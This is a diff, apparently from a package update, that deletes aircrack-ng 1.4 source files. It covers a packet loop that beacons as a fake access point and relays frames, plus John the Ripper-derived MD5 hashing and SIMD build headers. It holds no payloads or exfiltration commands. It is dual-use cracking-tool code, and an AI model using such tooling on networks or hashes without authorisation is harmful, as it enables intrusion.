-		if (pthread_create(&(cfragpid), NULL, (void *) cfrag_thread, NULL) != 0)
-		{
-			perror("cfrag pthread_create");
-			return (1);
-		}
-	}
-
-	if (!opt.quiet)
-	{
-		if (opt.adhoc)
-		{
-			PCT;
-			printf("Sending beacons in Ad-Hoc mode for Cell "
-				   "%02X:%02X:%02X:%02X:%02X:%02X.\n",
-				   opt.r_bssid[0],
-				   opt.r_bssid[1],
-				   opt.r_bssid[2],
-				   opt.r_bssid[3],
-				   opt.r_bssid[4],
-				   opt.r_bssid[5]);
-		}
-		else
-		{
-			PCT;
-			printf("Access Point with BSSID %02X:%02X:%02X:%02X:%02X:%02X "
-				   "started.\n",
-				   opt.r_bssid[0],
-				   opt.r_bssid[1],
-				   opt.r_bssid[2],
-				   opt.r_bssid[3],
-				   opt.r_bssid[4],
-				   opt.r_bssid[5]);
-		}
-	}
-
-	for (;;)
-	{
-		if (opt.s_file != NULL)
-		{
-			n = sizeof(pkh);
-
-			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
-			{
-				PCT;
-				printf("Finished reading input file %s.\n", opt.s_file);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			n = caplen = pkh.caplen;
-
-			if (n <= 0 || n > (int) sizeof(h80211))
-			{
-				PCT;
-				printf("Finished reading input file %s.\n", opt.s_file);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
-			{
-				PCT;
-				printf("Finished reading input file %s.\n", opt.s_file);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-					n = *(int *) (h80211 + 4);
-
-				if (n < 8 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
-				/* remove the radiotap header */
-
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			packet_recv(h80211, caplen, &apc, (opt.external & EXT_IN));
-			msleep(1000 / opt.r_nbpps);
-			continue;
-		}
-
-		FD_ZERO(&read_fds);
-		FD_SET(dev.fd_in, &read_fds);
-		FD_SET(ti_fd(dev.dv_ti), &read_fds);
-		if (opt.external)
-		{
-			FD_SET(ti_fd(dev.dv_ti2), &read_fds);
-			ret_val = select(
-				MAX(ti_fd(dev.dv_ti), MAX(ti_fd(dev.dv_ti2), dev.fd_in)) + 1,
-				&read_fds,
-				NULL,
-				NULL,
-				NULL);
-		}
-		else
-			ret_val = select(MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1,
-							 &read_fds,
-							 NULL,
-							 NULL,
-							 NULL);
-		if (ret_val < 0) break;
-		if (ret_val > 0)
-		{
-			if (FD_ISSET(ti_fd(dev.dv_ti), &read_fds))
-			{
-				len = ti_read(dev.dv_ti, buffer, sizeof(buffer));
-				if (len > 0)
-				{
-					packet_xmit(buffer, len);
-				}
-			}
-			if (opt.external && FD_ISSET(ti_fd(dev.dv_ti2), &read_fds))
-			{
-				len = ti_read(dev.dv_ti2, buffer, sizeof(buffer));
-				if (len > 0)
-				{
-					packet_xmit_external(buffer, len, &apc);
-				}
-			}
-			if (FD_ISSET(dev.fd_in, &read_fds))
-			{
-				len = read_packet(buffer, sizeof(buffer));
-				if (len > 0)
-				{
-					packet_recv(buffer, len, &apc, (opt.external & EXT_IN));
-				}
-			}
-		} // if( ret_val > 0 )
-	} // for( ; ; )
-
-	ti_close(dev.dv_ti);
-
-	/* that's all, folks */
-
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/aircrack-crypto Deleted

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/MD5_std.h Deleted

@@ -1,222 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-2000,2003,2011 by Solar Designer
- *
- * ...with changes in the jumbo patch, by bartavelle and magnum
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * FreeBSD-style MD5-based password hash implementation.
- */
-
-#ifndef _MD5_STD_H
-#define _MD5_STD_H
-
-#include "arch.h"
-#include "jcommon.h"
-
-typedef ARCH_WORD_32 MD5_word;
-
-/*
- * Binary ciphertext type.
- */
-typedef MD5_word MD5_binary[4];
-
-/*
- * Various structures for internal use.
- */
-
-typedef union {
-	double dummy;
-	MD5_word w[15];
-	char b[60];
-} MD5_block;
-
-typedef struct
-{
-	int length;
-	MD5_block *even, *odd;
-} MD5_pattern;
-
-typedef struct
-{
-	char s[8];
-	struct
-	{
-		int p, s, ps, pp, psp;
-	} l;
-	struct
-	{
-		MD5_block p, sp, pp, spp;
-	} e;
-	struct
-	{
-		MD5_block p, ps, pp, psp;
-	} o;
-} MD5_pool;
-
-#if !MD5_IMM
-typedef struct
-{
-	MD5_word AC[64];
-	MD5_word IV[4];
-	MD5_word masks[2];
-} MD5_data;
-#endif
-
-#ifdef SIMD_PARA_MD5
-#ifndef SIMD_COEF_32
-#define SIMD_COEF_32 4
-#endif
-#define MD5_N (SIMD_PARA_MD5 * SIMD_COEF_32)
-#else
-#undef MD5_ALGORITHM_NAME
-#if MD5_X2
-#define MD5_N 2
-#define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR " X2"
-#else
-#define MD5_N 1
-#define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR
-#endif
-#endif
-
-typedef struct
-{
-#if !MD5_IMM
-	MD5_data data;
-#endif
-
-	MD5_binary out[MD5_N];
-
-	MD5_block _block[MD5_N];
-	MD5_pattern _order[21][MD5_N];
-	MD5_pool _pool[MD5_N];
-	char * prefix;
-	int prelen;
-} MD5_std_combined;
-
-#if defined(_OPENMP) && !MD5_ASM
-#define MD5_std_mt 1
-#define MD5_std_cpt 128
-#define MD5_std_mt_max (MD5_std_cpt * 576)
-extern MD5_std_combined * MD5_std_all_p;
-extern int MD5_std_min_kpc, MD5_std_max_kpc;
-extern int MD5_std_nt;
-#define MD5_std_all_align 64
-#define MD5_std_all_size                                                       \
-	((sizeof(MD5_std_combined) + (MD5_std_all_align - 1))                      \
-	 & ~(MD5_std_all_align - 1))
-#ifdef __GNUC__
-#define MD5_std_all (*(MD5_std_combined *) ((char *) MD5_std_all_p + t))
-#define for_each_t(n)                                                          \
-	for (t = 0; t < (n) *MD5_std_all_size; t += MD5_std_all_size)
-#define init_t()                                                               \
-	int t = (unsigned int) index / MD5_N * MD5_std_all_size;                   \
-	index = (unsigned int) index % MD5_N;
-#else
-/*
- * For compilers that complain about the above e.g. with "iteration expression
- * of omp for loop does not have a canonical shape".
- */
-#define MD5_std_all                                                            \
-	(*(MD5_std_combined *) ((char *) MD5_std_all_p + t * MD5_std_all_size))
-#define for_each_t(n) for (t = 0; t < (n); t++)
-#define init_t()                                                               \
-	int t = (unsigned int) index / MD5_N;                                      \
-	index = (unsigned int) index % MD5_N;
-#endif
-#else
-#define MD5_std_mt 0
-extern MD5_std_combined MD5_std_all;
-#define for_each_t(n)
-#define init_t()
-#endif
-
-/*
- * MD5_std_crypt() output buffer.
- */
-#define MD5_out MD5_std_all.out
-
-// these 2 are still used by the 'para' function
-#define MD5_TYPE_APACHE 1
-#define MD5_TYPE_STD 2
-#define MD5_TYPE_AIX 3
-
-/*
- * Initializes the internal structures.
- */
-struct fmt_main;
-extern void MD5_std_init(struct fmt_main * self);
-
-/*
- * Sets a salt for MD5_std_crypt().
- */
-extern void MD5_std_set_salt(char * salt);
-
-/*
- * Sets a key for MD5_std_crypt().
- * Currently only supports keys up to 15 characters long.
- */
-extern void MD5_std_set_key(char * key, int index);
-
-/*
- * Main hashing routine, sets MD5_out.
- */
-extern void MD5_std_crypt(int count);
-
-/*
- * Returns the salt for MD5_std_set_salt().
- */
-extern char * MD5_std_get_salt(char * ciphertext);
-
-/*
- * Converts an ASCII ciphertext to binary.
- */
-extern MD5_word * MD5_std_get_binary(char * ciphertext);
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/Makefile.am Deleted

@@ -1,172 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2018 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              -I$(top_srcdir)/src \
-              $(CRYPTO_INCLUDES) \
-              $(GLIB_CFLAGS)
-
-COMMON_ARCH_FILES =
-if X86
-COMMON_ARCH_FILES += sha1-sse2.S
-endif
-LIBAIRCRACK_CRYPTO_SRCS = memory.c sha1-git.c $(COMMON_ARCH_FILES) simd-intrinsics.c wpapsk.c crypto_engine.c
-
-#
-# Intel/AMD
-#
-libaircrack_crypto_x86_avx512_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
-libaircrack_crypto_x86_avx512_la_CFLAGS = $(x86_avx512_cflags) -DSIMD_CORE -DJOHN_AVX512F $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-libaircrack_crypto_x86_avx512_la_LDFLAGS = -release 1.3.0 -no-undefined
-if !STATIC_CRYPTO
-libaircrack_crypto_x86_avx512_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-endif
-
-libaircrack_crypto_x86_avx2_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
-libaircrack_crypto_x86_avx2_la_CFLAGS = $(x86_avx2_cflags) -DSIMD_CORE -DJOHN_AVX2 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-libaircrack_crypto_x86_avx2_la_LDFLAGS = -release 1.3.0 -no-undefined
-if !STATIC_CRYPTO
-libaircrack_crypto_x86_avx2_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-endif
-
-libaircrack_crypto_x86_avx_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
-libaircrack_crypto_x86_avx_la_CFLAGS = $(x86_avx_cflags) -DSIMD_CORE -DJOHN_AVX $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-libaircrack_crypto_x86_avx_la_LDFLAGS = -release 1.3.0 -no-undefined
-if !STATIC_CRYPTO
-libaircrack_crypto_x86_avx_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-endif
-
-libaircrack_crypto_x86_sse2_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
-libaircrack_crypto_x86_sse2_la_CFLAGS = $(x86_sse2_cflags) -DSIMD_CORE -DJOHN_SSE2 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-libaircrack_crypto_x86_sse2_la_LDFLAGS = -release 1.3.0 -no-undefined
-if !STATIC_CRYPTO
-libaircrack_crypto_x86_sse2_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-endif
-
-##
-## ARM/AARCH64
-##
-libaircrack_crypto_arm_neon_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
-libaircrack_crypto_arm_neon_la_CFLAGS = $(arm_neon_cflags) -DSIMD_CORE -DHAS_NEON $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-libaircrack_crypto_arm_neon_la_LDFLAGS = -release 1.3.0 -no-undefined
-if !STATIC_CRYPTO
-libaircrack_crypto_arm_neon_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-endif
-
-##
-## PowerPC
-##
-libaircrack_crypto_ppc_altivec_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
-libaircrack_crypto_ppc_altivec_la_CFLAGS = $(ppc_altivec_cflags) -DSIMD_CORE -DHAS_ALTIVEC=1 -DJOHN_ALTIVEC $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-libaircrack_crypto_ppc_altivec_la_LDFLAGS = -release 1.3.0 -no-undefined
-if !STATIC_CRYPTO
-libaircrack_crypto_ppc_altivec_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-endif
-
-libaircrack_crypto_ppc_power8_la_SOURCES = $(LIBAIRCRACK_CRYPTO_SRCS)
-libaircrack_crypto_ppc_power8_la_CFLAGS = $(ppc_altivec_cflags) -DSIMD_CORE -DHAS_ALTIVEC=1 -DJOHN_ALTIVEC -DJOHN_POWER8 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-libaircrack_crypto_ppc_power8_la_LDFLAGS = -release 1.3.0 -no-undefined
-if !STATIC_CRYPTO
-libaircrack_crypto_ppc_power8_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-endif
-
-#
-# Generic library
-ARCH_FILES =
-if X86
-ARCH_FILES += sha1-sse2.S
-endif
-libaircrack_crypto_la_CFLAGS = $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-libaircrack_crypto_la_SOURCES = memory.c sha1-git.c wpapsk.c crypto_engine.c $(ARCH_FILES)
-libaircrack_crypto_la_LDFLAGS = -release 1.3.0 -no-undefined
-if !STATIC_CRYPTO
-libaircrack_crypto_la_LIBADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-endif
-
-#
-# Build librarie(s)
-#
-lib_LTLIBRARIES = libaircrack-crypto.la
-
-if ARM
-if NEON
-lib_LTLIBRARIES += libaircrack-crypto-arm-neon.la
-endif
-endif
-if PPC
-if ALTIVEC
-lib_LTLIBRARIES += libaircrack-crypto-ppc-altivec.la
-endif
-if POWER8
-lib_LTLIBRARIES += libaircrack-crypto-ppc-power8.la
-endif
-endif
-if X86
-if AVX512F
-lib_LTLIBRARIES += libaircrack-crypto-x86-avx512.la
-endif
-lib_LTLIBRARIES += libaircrack-crypto-x86-avx2.la libaircrack-crypto-x86-avx.la libaircrack-crypto-x86-sse2.la
-endif
-
-EXTRA_DIST =	aligned.h \
-				arch.h \
-				crypto_engine.c \
-				crypto_engine.h \
-				jcommon.h \
-				johnswap.h \
-				md5.h \
-				MD5_std.h \
-				memdbg.h \
-				memory.c \
-				memory.h \
-				misc.h \
-				pseudo_intrinsics.h \
-				sha1-git.c \
-				sha1-git.h \
-				sha1-sse2.h \
-				sha1-sse2.S \
-				simd-intrinsics.c \
-				simd-intrinsics.h \
-				simd-intrinsics-load-flags.h \
-				wpapsk.c \
-				wpapsk.h
-
-
-@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/arch.h Deleted

@@ -1,524 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 2003,2006,2008,2010,2011,2015 by Solar Designer
- *
- * ...with a trivial change in the jumbo patch, by Alain Espinosa.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * Architecture specific parameters for x86-64.
- */
-
-#ifndef _ARCH_H
-#define _ARCH_H
-
-#if (defined(__ARM_NEON) && !defined(__ARM_NEON__)) || defined(__aarch64)      \
-	|| defined(__aarch64__)
-#define __ARM_NEON__ 1
-#endif
-
-#if (defined(__ARM_NEON__) && !defined(__ARM_NEON)) || defined(__aarch64)      \
-	|| defined(__aarch64__)
-#define __ARM_NEON 1
-#endif
-
-#ifdef __ARM_NEON__
-#define SHA_BUF_SIZ 16
-#define SIMD_COEF_32 4
-#define SIMD_COEF_64 2
-#ifndef SIMD_PARA_MD4
-#define SIMD_PARA_MD4 2
-#endif
-#ifndef SIMD_PARA_MD5
-#define SIMD_PARA_MD5 2
-#endif
-#ifndef SIMD_PARA_SHA1
-#define SIMD_PARA_SHA1 1
-#endif
-#ifndef SIMD_PARA_SHA256
-#define SIMD_PARA_SHA256 1
-#endif
-#ifndef SIMD_PARA_SHA512
-#define SIMD_PARA_SHA512 1
-#endif
-#endif
-
-#if defined(JOHN_ALTIVEC)
-#define SHA_BUF_SIZ 16
-#define SIMD_COEF_32 4
-#define SIMD_COEF_64 2
-
-#ifndef SIMD_PARA_MD4
-#define SIMD_PARA_MD4 1
-#endif
-#ifndef SIMD_PARA_MD5
-#define SIMD_PARA_MD5 1
-#endif
-#ifndef SIMD_PARA_SHA1
-#define SIMD_PARA_SHA1 1
-#endif
-#ifndef SIMD_PARA_SHA256
-#define SIMD_PARA_SHA256 1
-#endif
-#ifndef SIMD_PARA_SHA512
-#define SIMD_PARA_SHA512 1
-#endif
-
-#endif
-
-#if AC_BUILT
-#include "autoconfig.h"
-#else
-#if defined(__ILP32__) || defined(_WIN64) || defined(__LLP64__)                \
-	|| (defined(__SIZE_OF_LONG__) && __SIZEOF_LONG__ == 4)
-#define ARCH_WORD long long
-#else
-#define ARCH_WORD long
-#endif
-#define ARCH_SIZE 8
-#define ARCH_BITS 64
-#define ARCH_BITS_LOG 6
-#define ARCH_BITS_STR "64"
-#define ARCH_LITTLE_ENDIAN 1
-#define ARCH_INT_GT_32 0
-#endif
-
-#define ARCH_ALLOWS_UNALIGNED 1
-#define ARCH_INDEX(x) ((unsigned int) (unsigned char) (x))
-
-#define CPU_DETECT 0
-
-#ifdef __SSE2__
-#define CPU_NAME "SSE2"
-#endif
-
-#if __SSSE3__ || JOHN_SSSE3
-#undef CPU_DETECT
-#define CPU_DETECT 1
-#define CPU_REQ 1
-#define CPU_REQ_SSSE3 1
-#undef CPU_NAME
-#define CPU_NAME "SSSE3"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY "john-non-ssse3"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#endif
-
-#if __SSE4_1__ || JOHN_SSE4_1
-#undef CPU_DETECT
-#define CPU_DETECT 1
-#define CPU_REQ 1
-#define CPU_REQ_SSE4_1 1
-#undef CPU_NAME
-#define CPU_NAME "SSE4.1"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY "john-non-sse4.1"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#endif
-
-#if __AVX512F__ || JOHN_AVX512F
-#undef CPU_DETECT
-#define CPU_DETECT 1
-#define CPU_REQ 1
-#define CPU_REQ_AVX512F 1
-#undef CPU_NAME
-#define CPU_NAME "AVX512F"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY "john-non-avx512f"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#endif
-
-#if __AVX512BW__ || JOHN_AVX512BW
-#undef CPU_DETECT
-#define CPU_DETECT 1
-#define CPU_REQ 1
-#define CPU_REQ_AVX512BW 1
-#undef CPU_NAME
-#define CPU_NAME "AVX512BW"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY "john-non-avx512bw"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#endif
-
-#ifdef __XOP__
-#define JOHN_XOP 1
-#endif
-#if defined(__AVX__) || defined(JOHN_XOP) || defined(JOHN_AVX2)
-#define JOHN_AVX 1
-#endif
-
-#define DES_ASM 0
-#define DES_128K 0
-#define DES_X2 0
-#define DES_MASK 1
-#define DES_SCALE 1
-#define DES_EXTB 1
-#define DES_COPY 0
-#define DES_BS 1
-#if !defined(__SSE2__)
-#define DES_BS_VECTOR 0
-#define DES_BS_ALGORITHM_NAME "DES 64/64"
-#elif defined(JOHN_AVX) && (defined(__GNUC__) || defined(_OPENMP))
-/*
- * Require gcc for AVX/XOP because DES_bs_all is aligned in a gcc-specific way,
- * except in OpenMP-enabled builds, where it's aligned by different means.
- */
-#undef CPU_DETECT
-#define CPU_DETECT 1
-#define CPU_REQ 1
-#define CPU_REQ_AVX 1
-#undef CPU_NAME
-#define CPU_NAME "AVX"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY "john-non-avx"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#define DES_BS_ASM 0
-#if 0
-/* 512-bit as 2x256 */
-#define DES_BS_VECTOR 8
-#if defined(JOHN_XOP) && defined(__GNUC__)
-/* Require gcc for 256-bit XOP because of __builtin_ia32_vpcmov_v8sf256() */
-#undef DES_BS
-#define DES_BS 3
-#define DES_BS_ALGORITHM_NAME "DES 256/256 X2 XOP-16"
-#else
-#define DES_BS_ALGORITHM_NAME "DES 256/256 X2 AVX-16"
-#endif
-#elif 0
-/* 384-bit as 256+128 */
-#define DES_BS_VECTOR_SIZE 8
-#define DES_BS_VECTOR 6
-#if defined(JOHN_XOP) && defined(__GNUC__)
-/* Require gcc for 256-bit XOP because of __builtin_ia32_vpcmov_v8sf256() */
-#undef DES_BS
-#define DES_BS 3
-#define DES_BS_ALGORITHM_NAME "DES 256/256 XOP-16 + 128/128 XOP-16"
-#else
-#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 128/128 AVX-16"
-#endif
-#elif 0
-/* 384-bit as 256+64+64 */
-#define DES_BS_NO_AVX128
-#define DES_BS_VECTOR_SIZE 8
-#define DES_BS_VECTOR 6
-#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64 MMX + 64/64"
-#elif 0
-/* 320-bit as 256+64 MMX */
-#define DES_BS_VECTOR_SIZE 8
-#define DES_BS_VECTOR 5
-#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64 MMX"
-#elif 0
-/* 320-bit as 256+64 */
-#define DES_BS_NO_MMX
-#define DES_BS_VECTOR_SIZE 8
-#define DES_BS_VECTOR 5
-#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX-16 + 64/64"
-#elif __AVX2__ || JOHN_AVX2
-/* 256-bit as 1x256 */
-#define DES_BS_VECTOR 4
-#undef CPU_NAME
-#define CPU_NAME "AVX2"
-#define CPU_DETECT 1
-#define CPU_REQ 1
-#define CPU_REQ_AVX2 1
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY "john-non-avx2"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#define DES_BS_ALGORITHM_NAME "DES 256/256 AVX2-16"
-#elif 0
-/* 256-bit as 2x128 */
-#define DES_BS_NO_AVX256
-#define DES_BS_VECTOR 4
-#ifdef JOHN_XOP
-#undef DES_BS
-#define DES_BS 3
-#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 XOP-16"
-#else
-#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 AVX-16"
-#endif
-#else
-/* 128-bit */
-#define DES_BS_VECTOR 2
-#ifdef JOHN_XOP
-#undef DES_BS
-#define DES_BS 3
-#define DES_BS_ALGORITHM_NAME "DES 128/128 XOP-16"
-#else
-#define DES_BS_ALGORITHM_NAME "DES 128/128 AVX-16"
-#endif
-#endif
-#elif (defined(__SSE2__) && defined(_OPENMP))
-#define DES_BS_ASM 0
-#if 1
-#define DES_BS_VECTOR 2
-#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16"
-#elif 0
-#define DES_BS_VECTOR 3
-#define DES_BS_VECTOR_SIZE 4
-#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64 MMX"
-#elif 0
-#define DES_BS_NO_MMX
-#define DES_BS_VECTOR 3
-#define DES_BS_VECTOR_SIZE 4
-#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64"
-#elif 0
-#define DES_BS_NO_MMX
-#define DES_BS_VECTOR 4
-#define DES_BS_ALGORITHM_NAME "DES 128/128 X2 SSE2-16"
-#else
-#define DES_BS_VECTOR 4
-#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16 + 64/64 MMX + 64/64"
-#endif
-#else
-#define DES_BS_ASM 1
-#define DES_BS_VECTOR 2
-#define DES_BS_ALGORITHM_NAME "DES 128/128 SSE2-16"
-#endif
-#define DES_BS_EXPAND 1
-
-#if CPU_DETECT && DES_BS == 3
-#define CPU_REQ_XOP 1
-#undef CPU_NAME
-#define CPU_NAME "XOP"
-#ifdef CPU_FALLBACK_BINARY_DEFAULT
-#undef CPU_FALLBACK_BINARY
-#define CPU_FALLBACK_BINARY "john-non-xop"
-#endif
-#endif
-
-#define MD5_ASM 0
-#define MD5_X2 1
-#define MD5_IMM 1
-
-#ifdef __GNUC__
-#define GCC_VERSION                                                            \
-	(__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)
-#endif
-
-#ifdef __SSE2__
-
-#if __AVX512F__
-#define SIMD_COEF_32 16
-#define SIMD_COEF_64 8
-#elif __AVX2__
-#define SIMD_COEF_32 8
-#define SIMD_COEF_64 4
-#elif __SSE2__
-#define SIMD_COEF_32 4
